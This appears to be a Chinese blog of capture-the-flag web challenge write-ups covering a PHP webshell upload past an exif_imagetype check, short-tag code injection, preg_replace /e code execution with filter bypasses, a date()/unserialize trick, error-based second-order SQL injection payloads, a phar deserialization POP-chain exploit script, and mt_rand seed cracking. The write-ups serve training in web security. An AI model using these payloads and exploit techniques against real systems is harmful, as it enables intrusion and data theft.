[WUSTCTF2020]CV Maker
开始的页面先随便注册一个账号,登录进去。
发现一个头像上传的地方:
想到这个地方可能可以传木马进去,先在不做任何特殊操作的情况下传一个php一句话木马,观察回显:
盲猜exif_imagetype是一个函数,它在这里检测到了上传内容的某些非法内容导致无法通过,直接上网搜:
只读取并检查第一个字节,说明如果只存在这个函数的过滤下,只用对图像第一个字节动手脚就能通过。
于是加上GIF89a头进行上传,这次就成功了,甚至不用改后缀这些的。
第二个点在于如何去寻找我们上传的文件在网页的哪个位置:
法一:
在burp的response页面直接搜索相应的关键词:
法二:
右键显示图片的位置,直接点击检查:
接着到达相应页面直接利用木马即可读取flag:
[watevrCTF-2019]Cookie Store
大便题目,把Cookie用base64解一下,修改一下金额再base64回去,网页返回一个新的cookie,flag就在里面。
[红明谷CTF 2021]write_shell
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php error_reporting(0); highlight_file(__FILE__); function check($input){ if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){ die('hacker!!!'); }else{ return $input; } }
function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } }
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; if(!file_exists($dir)){ mkdir($dir); } switch($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'upload': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data); } ?>
|
想了半天也没什么思路,去网上搜wp,正确的方法是利用php的短标签特性(以前遇到过,没有好好总结)
短标签:<? ?>
条件:开启php.ini中的short_open_tag
当可以使用短标签时,有如下特性:
<?=xxx?>
等价于:<?php echo('xxx'); ?>
于是payload可以为这种形式进行命令的执行,并返回执行的结果:
在check函数中,空格被ban掉,可以采用%09
来绕过:
根据:
1
| file_put_contents("$dir" . "index.php", $data);
|
data内容被写入到$dir路径下的index.php中。
GET传参:action=pwd
找到$dir的路径:sandbox/1254adea244b6ef09ecedbb729f6c397/
最终payload:
1
| action=upload&data=<?=`tac%09/flllllll1112222222lag`?>
|
[H&NCTF 2024]Please_RCE_Me
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php if($_GET['moran'] === 'flag'){ highlight_file(__FILE__); if(isset($_POST['task'])&&isset($_POST['flag'])){ $str1 = $_POST['task']; $str2 = $_POST['flag']; if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){ die('hacker!'); }else{ preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']); } } }else{ echo "moran want a flag.</br>(?moran=flag)"; }
|
看到这个部分:
1
| preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
|
一眼丁真鉴定为preg在/e模式下的php代码执行。
所以$_POST['flag']
的内容首先要被匹配到。
第一步:
观察到第一次匹配中没有开启忽略大小写,便可以使用大小写绕过:
1
| flag=Please_give_me_flag
|
现在传参的task已经可以执行php代码了。
前面的正则表达式中ban掉几乎所有的php命令执行函数,可以想到嵌套php代码进行遍历目录。
我使用的payload:
1
| flag=Please_give_me_flag&task=var_dump(scandir(chr(47)))
|
发现根目录下有个叫做flag的文件,需要想办法对其进行读取。
读取的函数:readfile()
但是flag关键字被ban了,想到用取反的方式进行绕过,最终构造payload如下:
1
| task=readfile(~(%D0%99%93%9E%98))&flag=Please_give_me_flag
|
有个奇怪的问题就是这串payload无法用hackbar传进去,上网搜了相关的资料也无法解决(%号换成%25)
[CISCN 2023 华北]ez_date
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php error_reporting(0); highlight_file(__FILE__); class date{ public $a; public $b; public $file; public function __wakeup() { if(is_array($this->a)||is_array($this->b)){ die('no array'); } if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){ $content=date($this->file); $uuid=uniqid().'.txt'; file_put_contents($uuid,$content); $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid)); echo file_get_contents($data); } else{ die(); } } }
unserialize(base64_decode($_GET['code']));
|
首先绕过第一个if,利用数字型、字符型绕过,构造:
$a=1;$b='1'
二者经过md5和sha1之后的值仍然相等,然而$a与$b却不强相等。
使用\
绕过date()函数,举例:
1 2 3 4 5 6 7
| <?php
$a = "/xiaofuc"; $b = "/x\i\a\o\\f\u\c";
echo (date($a))."\n"; echo (date($b))."\n";
|
回显:
1 2
| /x41am2024f0000002024-05-13T09:41:45+00:00 /xiaofuc
|
不太懂得为什么遇到字母’f’时需要多加一个反斜杠。
综上所述构造exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php error_reporting(0); highlight_file(__FILE__); class date{ public $a; public $b; public $file = '/f\l\a\g'; }
$x = new date; $x->a = '1'; $x->b = 1; echo(base64_encode(serialize($x)));
|
[RCTF2015]EasySQL
在/register.php
路由中,注册username为:1\
登录后在changepwd.php
页面中,随意改密码,发现回显:
推测后端的查询语句为:
1
| update users set password='xxxx' where username="xxxx" and pwd='202cb962ac59075b964b07152d234b70'
|
发现存在二次注入漏洞:在注册用户的页面对username进行修改,闭合掉"
,并塞进自己构造的语句。
第二点就是这个页面存在报错的回显,所以想到可以使用报错注入。
对/register.php
的username进行fuzz,发现过滤了空格。
首先查询数据库名:
注册用户名:
1
| a"||extractvalue(0,concat(0x7e,database()))#
|
来到改密码页面进行修改,执行自己构造的语句,回显:
接下来同理,payload如下:
1
| a"||extractvalue(0,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='web_sqli')))#
|
回显:
接着查字段:
1
| a"||extractvalue(0,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#
|
回显:
发现real_flag_1s_her
字段查不到,说明报错回显的长度有限制,于是可以构造如下payload:
1
| a"||extractvalue(0,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'&&(column_name)regexp('^r'))))#
|
如果直接使用payload:
1
| a"||extractvalue(0,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))))#
|
会发现回显中只出现了字符:x
因为长度被限制了,真正的flag被放在后面,这里又可以利用regexp()
构造上面类似的payload
1
| a"||extractvalue(0,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))#
|
得到了前半部分的flag:
经过前面的fuzz可以发现right、left、mid等函数都被过滤了,于是使用reverse函数,把flag倒序输出,就可以看到后面几位了:
1
| a"||extractvalue(0,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#
|
接下来把后面得到的倒序,通过python脚本倒序回来,就可以拼接成正确的flag了。
[CISCN2019 华北赛区 Day1 Web1]Dropbox
注册并登录后发现一个能上传文件的页面,想着传个图片马进去,发现并没有正常上传,抓包看看:
那么先随便上传个png进去,发现有个下载与删除的选项。
抓个下载包:
注意到框住的部分可能存在任意文件下载漏洞,试着传入index.php
但是显示找不到文件。
原来是文件路径的问题,使用绝对路径进行传入:
果然有了正常的回显,利用这个漏洞我们可以读取题目的源码。
首先关注到class.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144
| <?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User { public $db;
public function __construct() { global $db; $this->db = $db; }
public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; }
public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; }
public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; }
public function __destruct() { $this->db->close(); } }
class FileList { private $files; private $results; private $funcs;
public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path);
$key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]);
foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } }
public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }
public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>'; $table .= '</tr>'; } echo $table; } }
class File { public $filename;
public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } }
public function name() { return basename($this->filename); }
public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; }
public function detele() { unlink($this->filename); }
public function close() { return file_get_contents($this->filename); } } ?>
|
先得想办法触发User
类中的__destruct
方法,那就是利用phar反序列化。
看到delete.php
的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); }
if (!isset($_POST['filename'])) { die(); }
include "class.php";
chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
|
delete函数的定义在File类中:
1 2 3
| public function detele() { unlink($this->filename); }
|
注意:unlink函数会触发phar反序列化
所以我们可以利用/delete.php
路由,进行phar反序列化,这里进行反序列化,就可以触发class.php
中User类的destruct方法。
第二次审计class.php
,构造pop链。
思路一:
修改User类中的db变量为new File,修改File类中的filename变量为/flag.txt,触发destruct方法:$this->db->close();
直达File类的close方法,对flag进行读取。
然而,file_get_contents函数本身并不会回显文件的内容,它需要把读取的内容赋给一个变量,想要获取文件内容,必须要对该变量进行读取。综上,思路一不可行。
思路二:
由于FileList中的destruct方法可以对$result数组进行输出,所以可以想办法把flag内容弄到$result数组中,FileList类中的__call方法完美地实现了这个想法:
1 2 3
| foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); }
|
可以人为地将$files改为new File,而$func变量存着的就是FileList中不存在的方法名,也就是我们构造进去的close
,所以它会实现:把$file类下的close方法给赋值到$result数组中,这就达成了最终目的。
EXP如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php
class User { public $db;
}
class FileList { private $files; private $results; private $funcs;
public function __construct($path) { $this->files[] = new File; $this->results = array(); $this->funcs = array(); }
}
class File { public $filename = '/flag.txt';
public function close() { return file_get_contents($this->filename); } }
$o = new User; $o->db = new FileList; $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
|
将新生成的phar.phar把后缀改成png,上传到页面。
抓个删除包,把filename改成:phar://phar.png
即可得到flag。
[GWCTF 2019]枯燥的抽奖
源代码中发现check.php
路由,直接进入查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php
header("Content-Type: text/html;charset=utf-8"); session_start(); if(!isset($_SESSION['seed'])){ $_SESSION['seed']=rand(0,999999999); }
mt_srand($_SESSION['seed']); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str=''; $len1=20; for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); } $str_show = substr($str, 0, 10); echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){ if($_POST['num']===$str){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>"; } else{ echo "<p id=flag>没抽中哦,再试试吧</p>"; } } show_source("check.php");
|
本题运用了php伪随机数的性质:
每一次调用mt_rand()函数的时候,都会检查一下系统有没有播种,(播种是由mt_srand()函数完成的),当随机种子生成后,后面生成的随机数都会根据这个随机种子生成。
来看一个示例:
demo1:
1 2 3 4
| <?php mt_srand(1); echo(mt_rand());
|
demo2:
1 2 3 4
| <?php mt_srand(1); echo(mt_rand());
|
在两个不同的脚本中输出随机数,在同一种子下都可以获得同一个值。说明了这个随机值的可预见性。
这里利用到php_mt_seed工具,在使用之前需要用python脚本转换成工具能读懂的形式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| str1 ='tpJ6L2SptF' //题目泄露的前十位值 str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" result =''
length = str(len(str2)-1) for i in range(0,len(str1)): for j in range(0,len(str2)): if str1[i] == str2[j]: result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' ' break
print(result)
|
启动kali-linux开始爆破种子:
注意这个种子是php7.1以上的。
得到种子后直接照葫芦画瓢,出来最终的值。
EXP:
1 2 3 4 5 6 7 8 9 10
| mt_srand($_SESSION['seed']); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str=''; $len1=20; for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); } $str_show = substr($str, 0, 10); echo "<p id='p1'>".$str_show."</p>";
|
提交获得flag: